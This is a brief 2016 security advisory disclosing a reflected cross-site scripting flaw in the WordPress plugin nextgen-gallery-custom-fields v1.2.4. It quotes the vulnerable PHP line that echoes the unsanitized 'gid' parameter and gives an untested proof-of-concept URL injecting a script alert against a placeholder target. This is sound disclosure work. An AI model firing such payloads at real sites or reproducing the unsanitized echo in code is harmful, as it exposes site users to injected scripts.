Advisory #: 560
Title: Reflected XSS in wordpress plugin nextgen-gallery-custom-fields v1.2.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/nextgen-gallery-custom-fields
Downloads: 87586
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: nextgen-gallery-custom-fields
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./nextgen-gallery-custom-fields/ngg-custom-fields.php: 752: cell.innerHTML = "Custom Columns<hr /><input type='hidden' name='nggcf_gallery[ngg_gallery_id]' value='<?php echo $_GET["gid"]; ?>' />"; The variable gid appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./nextgen-gallery-custom-fields/ngg-custom-fields.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/nextgen-gallery-custom-fields/ngg-custom-fields.php?gid="><script>alert(1);</script><"